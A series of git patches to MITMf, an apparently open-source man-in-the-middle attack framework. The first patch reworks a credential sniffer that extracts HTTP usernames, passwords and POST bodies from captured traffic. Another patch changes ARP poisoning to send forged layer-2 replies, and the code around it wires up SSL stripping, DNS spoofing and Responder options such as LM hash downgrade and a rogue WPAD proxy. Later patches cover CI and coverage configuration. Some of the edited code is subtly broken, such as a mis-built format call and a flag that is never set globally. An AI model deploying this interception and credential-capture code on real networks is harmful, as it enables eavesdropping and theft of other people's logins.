From 986b2b851fc91c00121dc6fe53a653a18a0b48a4 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 1 Sep 2015 14:15:21 +0200 Subject: [PATCH 01/50] Fixed bug where Net-Creds wouldn't parse URL's and HTTP data when reading from pcap Active packet filtering engine and proxy + servers are now mutually exclusive , you can only start one of them (iptable conflicts) --- core/configwatcher.py | 2 +- core/netcreds.py | 200 ++++++++++++++++++++++-------------------- core/packetfilter.py | 6 +- core/proxyplugins.py | 7 +- mitmf.py | 113 +++++++++++++----------- plugins/plugin.py | 1 + plugins/responder.py | 4 +- plugins/spoof.py | 4 +- plugins/sslstrip+.py | 2 +- 9 files changed, 179 insertions(+), 160 deletions(-) diff --git a/core/configwatcher.py b/core/configwatcher.py index 7f7b955..95716de 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -21,7 +21,7 @@ import pyinotify import threading from configobj import ConfigObj -class ConfigWatcher(pyinotify.ProcessEvent): +class ConfigWatcher(pyinotify.ProcessEvent, object): @property def config(self): diff --git a/core/netcreds.py b/core/netcreds.py index 5daa6b8..f4b4723 100644 --- a/core/netcreds.py +++ b/core/netcreds.py @@ -41,6 +41,8 @@ NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+' # Prone to false+ but prefer that to false- http_search_re = '((search|query|&q|\?q|search\?p|searchterm|keywords|keyword|command|terms|keys|question|kwd|searchPhrase)=([^&][^&]*))' +parsing_pcap = False + class NetCreds: version = "1.0" @@ -51,15 +53,64 @@ class NetCreds: except Exception as e: if "Interrupted system call" in e: pass - def start(self, interface, ip, pcap): - if pcap: - for pkt in PcapReader(pcap): - pkt_parser(pkt) - sys.exit() - else: - t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, ip,)) - t.setDaemon(True) - t.start() + def start(self, interface, ip): + t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, ip,)) + t.setDaemon(True) + t.start() + + def parse_pcap(self, pcap): + parsing_pcap=True + + for pkt in PcapReader(pcap): + pkt_parser(pkt) + + sys.exit() + +def frag_remover(ack, load): + ''' + Keep the FILO OrderedDict of frag loads from getting too large + 3 points of limit: + Number of ip_ports < 50 + Number of acks per ip:port < 25 + Number of chars in load < 5000 + ''' + global pkt_frag_loads + + # Keep the number of IP:port mappings below 50 + # last=False pops the oldest item rather than the latest + while len(pkt_frag_loads) > 50: + pkt_frag_loads.popitem(last=False) + + # Loop through a deep copy dict but modify the original dict + copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) + for ip_port in copy_pkt_frag_loads: + if len(copy_pkt_frag_loads[ip_port]) > 0: + # Keep 25 ack:load's per ip:port + while len(copy_pkt_frag_loads[ip_port]) > 25: + pkt_frag_loads[ip_port].popitem(last=False) + + # Recopy the new dict to prevent KeyErrors for modifying dict in loop + copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) + for ip_port in copy_pkt_frag_loads: + # Keep the load less than 75,000 chars + for ack in copy_pkt_frag_loads[ip_port]: + # If load > 5000 chars, just keep the last 200 chars + if len(copy_pkt_frag_loads[ip_port][ack]) > 5000: + pkt_frag_loads[ip_port][ack] = pkt_frag_loads[ip_port][ack][-200:] + +def frag_joiner(ack, src_ip_port, load): + ''' + Keep a store of previous fragments in an OrderedDict named pkt_frag_loads + ''' + for ip_port in pkt_frag_loads: + if src_ip_port == ip_port: + if ack in pkt_frag_loads[src_ip_port]: + # Make pkt_frag_loads[src_ip_port][ack] = full load + old_load = pkt_frag_loads[src_ip_port][ack] + concat_load = old_load + load + return OrderedDict([(ack, concat_load)]) + + return OrderedDict([(ack, load)]) def pkt_parser(pkt): ''' @@ -127,53 +178,7 @@ def pkt_parser(pkt): telnet_logins(src_ip_port, dst_ip_port, load, ack, seq) # HTTP and other protocols that run on TCP + a raw load - other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt) - -def frag_remover(ack, load): - ''' - Keep the FILO OrderedDict of frag loads from getting too large - 3 points of limit: - Number of ip_ports < 50 - Number of acks per ip:port < 25 - Number of chars in load < 5000 - ''' - global pkt_frag_loads - - # Keep the number of IP:port mappings below 50 - # last=False pops the oldest item rather than the latest - while len(pkt_frag_loads) > 50: - pkt_frag_loads.popitem(last=False) - - # Loop through a deep copy dict but modify the original dict - copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) - for ip_port in copy_pkt_frag_loads: - if len(copy_pkt_frag_loads[ip_port]) > 0: - # Keep 25 ack:load's per ip:port - while len(copy_pkt_frag_loads[ip_port]) > 25: - pkt_frag_loads[ip_port].popitem(last=False) - - # Recopy the new dict to prevent KeyErrors for modifying dict in loop - copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) - for ip_port in copy_pkt_frag_loads: - # Keep the load less than 75,000 chars - for ack in copy_pkt_frag_loads[ip_port]: - # If load > 5000 chars, just keep the last 200 chars - if len(copy_pkt_frag_loads[ip_port][ack]) > 5000: - pkt_frag_loads[ip_port][ack] = pkt_frag_loads[ip_port][ack][-200:] - -def frag_joiner(ack, src_ip_port, load): - ''' - Keep a store of previous fragments in an OrderedDict named pkt_frag_loads - ''' - for ip_port in pkt_frag_loads: - if src_ip_port == ip_port: - if ack in pkt_frag_loads[src_ip_port]: - # Make pkt_frag_loads[src_ip_port][ack] = full load - old_load = pkt_frag_loads[src_ip_port][ack] - concat_load = old_load + load - return OrderedDict([(ack, concat_load)]) - - return OrderedDict([(ack, load)]) + other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, True) def telnet_logins(src_ip_port, dst_ip_port, load, ack, seq): ''' @@ -530,14 +535,14 @@ def irc_logins(full_load, pkt): msg = 'IRC pass: %s' % pass_search2.group(1) return msg -def other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt): +def other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, verbose): ''' Pull out pertinent info from the parsed HTTP packet data ''' user_passwd = None http_url_req = None method = None - http_methods = ['GET ', 'POST', 'CONNECT ', 'TRACE ', 'TRACK ', 'PUT ', 'DELETE ', 'HEAD '] + http_methods = ['GET ', 'POST ', 'CONNECT ', 'TRACE ', 'TRACK ', 'PUT ', 'DELETE ', 'HEAD '] http_line, header_lines, body = parse_http_load(full_load, http_methods) headers = headers_to_dict(header_lines) if 'host' in headers: @@ -545,44 +550,51 @@ def other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt): else: host = '' - #if http_line != None: - # method, path = parse_http_line(http_line, http_methods) - # http_url_req = get_http_url(method, host, path, headers) - #if http_url_req != None: - #printer(src_ip_port, None, http_url_req) + if parsing_pcap is True: - # Print search terms - searched = get_http_searches(http_url_req, body, host) - if searched: - printer(src_ip_port, dst_ip_port, searched) + if http_line != None: + method, path = parse_http_line(http_line, http_methods) + http_url_req = get_http_url(method, host, path, headers) + if http_url_req != None: + if verbose == False: + if len(http_url_req) > 98: + http_url_req = http_url_req[:99] + '...' + printer(src_ip_port, None, http_url_req) - #We dont need this cause its being taking care of by the proxy - - #Print user/pwds - #if body != '': - # user_passwd = get_login_pass(body) - # if user_passwd != None: - # try: - # http_user = user_passwd[0].decode('utf8') - # http_pass = user_passwd[1].decode('utf8') - # # Set a limit on how long they can be prevent false+ - # if len(http_user) > 75 or len(http_pass) > 75: - # return - # user_msg = 'HTTP username: %s' % http_user - # printer(src_ip_port, dst_ip_port, user_msg) - # pass_msg = 'HTTP password: %s' % http_pass - # printer(src_ip_port, dst_ip_port, pass_msg) - # except UnicodeDecodeError: - # pass + # Print search terms + searched = get_http_searches(http_url_req, body, host) + if searched: + printer(src_ip_port, dst_ip_port, searched) - # Print POST loads - # ocsp is a common SSL post load that's never interesting - #if method == 'POST' and 'ocsp.' not in host: - # try: - # msg = 'POST load: %s' % body.encode('utf8') - # printer(src_ip_port, None, msg) - # except UnicodeDecodeError: - # pass + # Print user/pwds + if body != '': + user_passwd = get_login_pass(body) + if user_passwd != None: + try: + http_user = user_passwd[0].decode('utf8') + http_pass = user_passwd[1].decode('utf8') + # Set a limit on how long they can be prevent false+ + if len(http_user) > 75 or len(http_pass) > 75: + return + user_msg = 'HTTP username: %s' % http_user + printer(src_ip_port, dst_ip_port, user_msg) + pass_msg = 'HTTP password: %s' % http_pass + printer(src_ip_port, dst_ip_port, pass_msg) + except UnicodeDecodeError: + pass + + # Print POST loads + # ocsp is a common SSL post load that's never interesting + if method == 'POST' and 'ocsp.' not in host: + try: + if verbose == False and len(body) > 99: + # If it can't decode to utf8 we're probably not interested in it + msg = 'POST load: %s...' % body[:99].encode('utf8') + else: + msg = 'POST load: %s' % body.encode('utf8') + printer(src_ip_port, None, msg) + except UnicodeDecodeError: + pass # Kerberos over TCP decoded = Decode_Ip_Packet(str(pkt)[14:]) @@ -904,7 +916,7 @@ def get_login_pass(body): def printer(src_ip_port, dst_ip_port, msg): if dst_ip_port != None: - print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg) + print_str = '[{} > {}] {}'.format((src_ip_port, dst_ip_port, msg)) # All credentials will have dst_ip_port, URLs will not log.info("{}".format(print_str)) diff --git a/core/packetfilter.py b/core/packetfilter.py index e8f0d5d..ba0a962 100644 --- a/core/packetfilter.py +++ b/core/packetfilter.py @@ -1,5 +1,3 @@ -import threading - from core.utils import set_ip_forwarding, iptables from core.logger import logger from scapy.all import * @@ -21,9 +19,7 @@ class PacketFilter: self.nfqueue = NetfilterQueue() self.nfqueue.bind(1, self.modify) - t = threading.Thread(name='packetparser', target=self.nfqueue.run) - t.setDaemon(True) - t.start() + self.nfqueue.run() def modify(self, pkt): #log.debug("Got packet") diff --git a/core/proxyplugins.py b/core/proxyplugins.py index efb1833..7ea6c54 100644 --- a/core/proxyplugins.py +++ b/core/proxyplugins.py @@ -108,9 +108,10 @@ class ProxyPlugins: log.debug("hooking {}()".format(fname)) #calls any plugin that has this hook try: - for f in self.plugin_mthds[fname]: - a = f(**args) - if a != None: args = a + if self.plugin_mthds: + for f in self.plugin_mthds[fname]: + a = f(**args) + if a != None: args = a except Exception as e: #This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating) log.error("Exception occurred in hooked function") diff --git a/mitmf.py b/mitmf.py index 08a8b73..809cb0b 100755 --- a/mitmf.py +++ b/mitmf.py @@ -52,7 +52,7 @@ parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_ver #add MITMf options sgroup = parser.add_argument_group("MITMf", "Options for MITMf") sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") -sgroup.add_argument("-i", dest='interface', type=str, help="Interface to listen on") +sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching") sgroup.add_argument("-r", '--read-pcap', type=str, help='Parse specified pcap for credentials and exit') @@ -73,6 +73,15 @@ options = parser.parse_args() #Set the log level logger().log_level = logging.__dict__[options.log_level.upper()] +from core.logger import logger +formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("MITMf", formatter) + +from core.netcreds import NetCreds + +if options.read_pcap: + NetCreds().parse_pcap(options.read_pcap) + #Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object from core.utils import get_ip, get_mac, shutdown options.ip = get_ip(options.interface) @@ -80,33 +89,18 @@ options.mac = get_mac(options.interface) settings.Config.populate(options) -from core.logger import logger -formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("MITMf", formatter) - log.debug("MITMf started: {}".format(sys.argv)) #Start Net-Creds -from core.netcreds import NetCreds -NetCreds().start(options.interface, options.ip, options.read_pcap) +print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename) + +NetCreds().start(options.interface, options.ip) +print "|" +print "|_ Net-Creds v{} online".format(NetCreds.version) -from core.sslstrip.CookieCleaner import CookieCleaner from core.proxyplugins import ProxyPlugins -from core.sslstrip.StrippingProxy import StrippingProxy -from core.sslstrip.URLMonitor import URLMonitor - -URLMonitor.getInstance().setFaviconSpoofing(options.favicon) -URLMonitor.getInstance().setCaching(options.preserve_cache) -CookieCleaner.getInstance().setEnabled(options.killsessions) - -strippingFactory = http.HTTPFactory(timeout=10) -strippingFactory.protocol = StrippingProxy - -reactor.listenTCP(options.listen_port, strippingFactory) ProxyPlugins().all_plugins = plugins - -print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename) for plugin in plugins: #load only the plugins that have been called at the command line @@ -126,48 +120,63 @@ for plugin in plugins: for line in xrange(0, len(plugin.tree_info)): print "| |_ {}".format(plugin.tree_info.pop()) - plugin.reactor(strippingFactory) plugin.start_config_watch() -print "|" -print "|_ Sergio-Proxy v0.2.1 online" -print "|_ SSLstrip v0.9 by Moxie Marlinspike online" -print "|" - if options.filter: from core.packetfilter import PacketFilter pfilter = PacketFilter(options.filter) - pfilter.start() print "|_ PacketFilter online" - print "| |_ Applying filter {} to incoming packets".format(options.filter) + print " |_ Applying filter {} to incoming packets".format(options.filter) + try: + pfilter.start() + except KeyboardInterrupt: + pfilter.stop() + shutdown() -print "|_ Net-Creds v{} online".format(NetCreds.version) +else: + from core.sslstrip.CookieCleaner import CookieCleaner + from core.sslstrip.StrippingProxy import StrippingProxy + from core.sslstrip.URLMonitor import URLMonitor -#Start mitmf-api -from core.mitmfapi import mitmfapi -print "|_ MITMf-API online" -mitmfapi().start() + URLMonitor.getInstance().setFaviconSpoofing(options.favicon) + URLMonitor.getInstance().setCaching(options.preserve_cache) + CookieCleaner.getInstance().setEnabled(options.killsessions) -#Start the HTTP Server -from core.servers.HTTP import HTTP -HTTP().start() -print "|_ HTTP server online" + strippingFactory = http.HTTPFactory(timeout=10) + strippingFactory.protocol = StrippingProxy -#Start DNSChef -from core.servers.DNS import DNSChef -DNSChef().start() -print "|_ DNSChef v{} online".format(DNSChef.version) + reactor.listenTCP(options.listen_port, strippingFactory) -#Start the SMB server -from core.servers.SMB import SMB -SMB().start() -print "|_ SMB server online\n" + for plugin in plugins: + if vars(options)[plugin.optname] is True: + plugin.reactor(strippingFactory) -#start the reactor -reactor.run() -print "\n" + print "|_ Sergio-Proxy v0.2.1 online" + print "|_ SSLstrip v0.9 by Moxie Marlinspike online" -if options.filter: - pfilter.stop() + #Start mitmf-api + from core.mitmfapi import mitmfapi + print "|" + print "|_ MITMf-API online" + mitmfapi().start() -shutdown() \ No newline at end of file + #Start the HTTP Server + from core.servers.HTTP import HTTP + HTTP().start() + print "|_ HTTP server online" + + #Start DNSChef + from core.servers.DNS import DNSChef + DNSChef().start() + print "|_ DNSChef v{} online".format(DNSChef.version) + + #Start the SMB server + from core.servers.SMB import SMB + SMB().start() + print "|_ SMB server online\n" + + #start the reactor + reactor.run() + print "\n" + + shutdown() \ No newline at end of file diff --git a/plugins/plugin.py b/plugins/plugin.py index f42efd6..c90d01f 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -31,6 +31,7 @@ class Plugin(ConfigWatcher): def __init__(self, parser): '''Passed the options namespace''' + if self.desc: sgroup = parser.add_argument_group(self.name, self.desc) else: diff --git a/plugins/responder.py b/plugins/responder.py index 983a904..2f36be3 100644 --- a/plugins/responder.py +++ b/plugins/responder.py @@ -91,5 +91,5 @@ class Responder(Plugin): options.add_argument('--fingerprint', dest="finger", action="store_true", help="Fingerprint hosts that issued an NBT-NS or LLMNR query") options.add_argument('--lm', dest="lm", action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") options.add_argument('--wpad', dest="wpad", action="store_true", help="Start the WPAD rogue proxy server") - options.add_argument('--forcewpadauth', dest="forcewpadauth", action="store_true", help="Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - options.add_argument('--basic', dest="basic", action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") + options.add_argument('--forcewpadauth', dest="forcewpadauth", action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval (might cause a login prompt)") + options.add_argument('--basic', dest="basic", action="store_true", help="Return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/spoof.py b/plugins/spoof.py index 0d6f46b..9d03718 100644 --- a/plugins/spoof.py +++ b/plugins/spoof.py @@ -70,7 +70,7 @@ class Spoof(Plugin): if options.dns: self.tree_info.append('DNS spoofing enabled') - if iptables().dns is False: + if iptables().dns is False and options.filter is False: iptables().DNS(self.config['MITMf']['DNS']['port']) if not options.arp and not options.icmp and not options.dhcp and not options.dns: @@ -78,7 +78,7 @@ class Spoof(Plugin): set_ip_forwarding(1) - if iptables().http is False: + if iptables().http is False and options.filter is False: iptables().HTTP(options.listen_port) for protocol in self.protocol_instances: diff --git a/plugins/sslstrip+.py b/plugins/sslstrip+.py index 109e721..9266040 100644 --- a/plugins/sslstrip+.py +++ b/plugins/sslstrip+.py @@ -33,7 +33,7 @@ class SSLstripPlus(Plugin): from core.servers.DNS import DNSChef from core.utils import iptables - if iptables().dns is False: + if iptables().dns is False and options.filter is False: iptables().DNS(self.config['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass() From 54c27ddade9689b4e1f11210b7b0e34eda35eca1 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 1 Sep 2015 14:31:12 +0200 Subject: [PATCH 02/50] fixed Net-Creds tests --- tests/basic_tests.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/basic_tests.py b/tests/basic_tests.py index 5b68896..155a3d7 100644 --- a/tests/basic_tests.py +++ b/tests/basic_tests.py @@ -24,7 +24,7 @@ class BasicTests(unittest.TestCase): from core.logger import logger logger.log_level = logging.DEBUG from core.netcreds import NetCreds - NetCreds().start('venet0:0', '172.30.96.18', None) + NetCreds().start('venet0:0', '172.30.96.18') def test_SSLStrip_Proxy(self): favicon = True From e54b90aa7b36980b77c2198c0249648bdba06cba Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 2 Sep 2015 12:02:56 +0200 Subject: [PATCH 03/50] fixes #182, iptables rules weren't being set --- plugins/spoof.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/spoof.py b/plugins/spoof.py index 9d03718..0206bf7 100644 --- a/plugins/spoof.py +++ b/plugins/spoof.py @@ -70,7 +70,7 @@ class Spoof(Plugin): if options.dns: self.tree_info.append('DNS spoofing enabled') - if iptables().dns is False and options.filter is False: + if iptables().dns is False and options.filter is None: iptables().DNS(self.config['MITMf']['DNS']['port']) if not options.arp and not options.icmp and not options.dhcp and not options.dns: @@ -78,7 +78,7 @@ class Spoof(Plugin): set_ip_forwarding(1) - if iptables().http is False and options.filter is False: + if iptables().http is False and options.filter is None: iptables().HTTP(options.listen_port) for protocol in self.protocol_instances: From df608030f353ecee33736fc4ea0fb4e7de001412 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 2 Sep 2015 14:47:25 +0200 Subject: [PATCH 04/50] fixes #178, we are now manually adding an Ether() layer to ARP packets and sending them at L2 --- core/poisoners/ARP.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/core/poisoners/ARP.py b/core/poisoners/ARP.py index 24e0b0f..d347566 100644 --- a/core/poisoners/ARP.py +++ b/core/poisoners/ARP.py @@ -214,8 +214,8 @@ class ARPpoisoner: if targetmac is not None: try: #log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip)) - self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode)) - self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode)) + self.s2.send(Ether(src=self.mymac, dst=targetmac)/ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode)) + self.s2.send(Ether(src=targetmac, dst=self.gatewaymac)/ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode)) except Exception as e: if "Interrupted system call" not in e: log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) @@ -242,8 +242,8 @@ class ARPpoisoner: log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) try: for i in range(0, count): - self.s.send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac)) - self.s.send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac)) + self.s2.send(Ether(src=targetmac, dst='ff:ff:ff:ff:ff:ff')/ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac)) + self.s2.send(Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac)) except Exception as e: if "Interrupted system call" not in e: log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) From 00745afb357b435859849b2e1962c41e42bb7f76 Mon Sep 17 00:00:00 2001 From: HAMIDx9 Date: Thu, 3 Sep 2015 11:45:44 +0430 Subject: [PATCH 05/50] Fix improperly use config multiple nameservers --- core/servers/DNS.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/servers/DNS.py b/core/servers/DNS.py index 54f1889..bd388c3 100755 --- a/core/servers/DNS.py +++ b/core/servers/DNS.py @@ -449,7 +449,7 @@ class DNSChef(ConfigWatcher): # Use alternative DNS servers if config['nameservers']: - self.nameservers = config['nameservers'].split(',') + self.nameservers = config['nameservers'] for section in config.sections: From 7512c51af58ba061154ff5ec8fb315582b6abaa3 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 5 Sep 2015 13:46:16 +0200 Subject: [PATCH 06/50] updated .travis.yml for faster tests --- .travis.yml | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/.travis.yml b/.travis.yml index 8d2267b..c49e46c 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,11 +1,13 @@ language: python python: - "2.7" -sudo: required -before_install: - - "ifconfig" - - "sudo apt-get update -qq" - - "sudo apt-get install tcpdump libpcap0.8-dev libnetfilter-queue-dev libssl-dev" + +addons: + apt: + packages: + - libpcap0.8-dev + - libnetfilter-queue-dev + - libssl-dev install: "pip install -r requirements.txt" -script: nosetests \ No newline at end of file +script: nosetests From 650525ef12447545a1687f65516090ebf29bb3c5 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 5 Sep 2015 13:56:01 +0200 Subject: [PATCH 07/50] added IRC notifications for travis --- .travis.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.travis.yml b/.travis.yml index c49e46c..218aa14 100644 --- a/.travis.yml +++ b/.travis.yml @@ -9,5 +9,8 @@ addons: - libnetfilter-queue-dev - libssl-dev +notifications: + irc: "irc.freenode.org#MITMf" + install: "pip install -r requirements.txt" script: nosetests From 766e5b7a4439485f962b4344e5b2642ed8b90708 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 5 Sep 2015 14:20:12 +0200 Subject: [PATCH 08/50] changed default IRC message template --- .travis.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.travis.yml b/.travis.yml index 218aa14..13b18b7 100644 --- a/.travis.yml +++ b/.travis.yml @@ -11,6 +11,8 @@ addons: notifications: irc: "irc.freenode.org#MITMf" + template: + - "%{repository}#%{build_number} (%{branch} - %{commit} - %{commit_subject} : %{author}): %{message}" install: "pip install -r requirements.txt" script: nosetests From c0934e11793c5fd02fac72a6ecebe2404a06417f Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 5 Sep 2015 14:25:33 +0200 Subject: [PATCH 09/50] travis is picky --- .travis.yml | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/.travis.yml b/.travis.yml index 13b18b7..f23e311 100644 --- a/.travis.yml +++ b/.travis.yml @@ -10,9 +10,11 @@ addons: - libssl-dev notifications: - irc: "irc.freenode.org#MITMf" - template: - - "%{repository}#%{build_number} (%{branch} - %{commit} - %{commit_subject} : %{author}): %{message}" + irc: + channels: + - "irc.freenode.org#MITMf" + template: + - "%{repository}#%{build_number} (%{branch} - %{commit} - %{commit_subject} : %{author}): %{message}" install: "pip install -r requirements.txt" script: nosetests From 333234a445275fb840369035c00a883116fa45b1 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 5 Sep 2015 14:35:40 +0200 Subject: [PATCH 10/50] add skip_join to travis --- .travis.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.travis.yml b/.travis.yml index f23e311..08118ba 100644 --- a/.travis.yml +++ b/.travis.yml @@ -15,6 +15,7 @@ notifications: - "irc.freenode.org#MITMf" template: - "%{repository}#%{build_number} (%{branch} - %{commit} - %{commit_subject} : %{author}): %{message}" + skip_join: true install: "pip install -r requirements.txt" script: nosetests From 3fb6f21153d981757688cba19793921e96bf893a Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 5 Sep 2015 14:40:43 +0200 Subject: [PATCH 11/50] travis now uses notices instead of messages --- .travis.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.travis.yml b/.travis.yml index 08118ba..a759ab9 100644 --- a/.travis.yml +++ b/.travis.yml @@ -16,6 +16,7 @@ notifications: template: - "%{repository}#%{build_number} (%{branch} - %{commit} - %{commit_subject} : %{author}): %{message}" skip_join: true + use_notice: true install: "pip install -r requirements.txt" script: nosetests From 96c83ee5658fe1a26c929147867f581475fe81cc Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 5 Sep 2015 14:56:44 +0200 Subject: [PATCH 12/50] added coveralls badge to the readme --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index a52fb9a..37236bc 100644 --- a/README.md +++ b/README.md @@ -3,6 +3,7 @@ ![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux-yellow.svg) [![Code Climate](https://codeclimate.com/github/byt3bl33d3r/MITMf/badges/gpa.svg)](https://codeclimate.com/github/byt3bl33d3r/MITMf) [![Build Status](https://travis-ci.org/byt3bl33d3r/MITMf.svg)](https://travis-ci.org/byt3bl33d3r/MITMf) +[![Coverage Status](https://coveralls.io/repos/byt3bl33d3r/MITMf/badge.svg?branch=master&service=github)](https://coveralls.io/github/byt3bl33d3r/MITMf?branch=master) #MITMf From f7da7926dfa2f9b998488359cacd6563b9f7f0b7 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 5 Sep 2015 15:19:46 +0200 Subject: [PATCH 13/50] added coveralls support in travis --- .travis.yml | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index a759ab9..5f594b2 100644 --- a/.travis.yml +++ b/.travis.yml @@ -19,4 +19,9 @@ notifications: use_notice: true install: "pip install -r requirements.txt" -script: nosetests +before_script: + - "pip install python-coveralls" +script: + - "nosetests --with-cov" +after_success: + - coveralls From bb3078ca407d8833ff327714f676919f240133fc Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 5 Sep 2015 15:41:32 +0200 Subject: [PATCH 14/50] added an actual .coveragerc for coverage --- .coveragerc | 8 ++++++++ .travis.yml | 2 +- 2 files changed, 9 insertions(+), 1 deletion(-) create mode 100644 .coveragerc diff --git a/.coveragerc b/.coveragerc new file mode 100644 index 0000000..2a138cb --- /dev/null +++ b/.coveragerc @@ -0,0 +1,8 @@ +[run] +branch = True + +[report] +include = *core*, *libs*, *plugins* +exclude_lines = + pragma: nocover + pragma: no cover diff --git a/.travis.yml b/.travis.yml index 5f594b2..1656a7a 100644 --- a/.travis.yml +++ b/.travis.yml @@ -24,4 +24,4 @@ before_script: script: - "nosetests --with-cov" after_success: - - coveralls + - coveralls From a0fecd4a381443f98b2d49de3d0eab9188fd9f5e Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 6 Sep 2015 10:51:40 +0200 Subject: [PATCH 15/50] reverts changes from PR #183, fixes issue #187 --- core/servers/DNS.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/servers/DNS.py b/core/servers/DNS.py index bd388c3..54f1889 100755 --- a/core/servers/DNS.py +++ b/core/servers/DNS.py @@ -449,7 +449,7 @@ class DNSChef(ConfigWatcher): # Use alternative DNS servers if config['nameservers']: - self.nameservers = config['nameservers'] + self.nameservers = config['nameservers'].split(',') for section in config.sections: From 9add87c5b27efb7b5718c348a602454e0e3be5d6 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 6 Sep 2015 11:23:45 +0200 Subject: [PATCH 16/50] Fixed a bug where the DNS server would throw a traceback when multiple named servers are specified --- core/servers/DNS.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/core/servers/DNS.py b/core/servers/DNS.py index 54f1889..383a57c 100755 --- a/core/servers/DNS.py +++ b/core/servers/DNS.py @@ -449,7 +449,12 @@ class DNSChef(ConfigWatcher): # Use alternative DNS servers if config['nameservers']: - self.nameservers = config['nameservers'].split(',') + self.nameservers = [] + + if type(config['nameservers']) is str: + self.nameservers.append(config['nameservers']) + elif type(config['nameservers']) is list: + self.nameservers = config['nameservers'] for section in config.sections: From 22a43df4f8c2cc63bd62d62c9858591e54e6d843 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 6 Sep 2015 12:47:07 +0200 Subject: 